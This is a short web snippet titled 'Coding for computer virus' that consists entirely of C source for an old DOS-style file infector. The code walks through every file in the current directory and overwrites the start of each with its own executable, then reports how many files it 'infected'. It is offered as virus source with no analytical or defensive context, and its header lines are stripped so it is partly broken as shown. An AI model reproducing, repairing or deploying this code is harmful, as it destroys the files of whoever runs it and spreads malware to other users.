CODING FOR COMPUTER VIRUS :::

CODING FOR COMPUTER VIRUS ::: #include #include #include #include #include #include FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”); host=fopen(ffblk.ff_name,”rb+”); if(host==NULL) goto next; x=89088; printf(“Infecting %s\n”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf(“DONE! (Total Files Infected= %d)”,a); end=clock(); printf(“TIME TAKEN=%f SEC\n”, (end-st)/CLK_TCK); getch(); }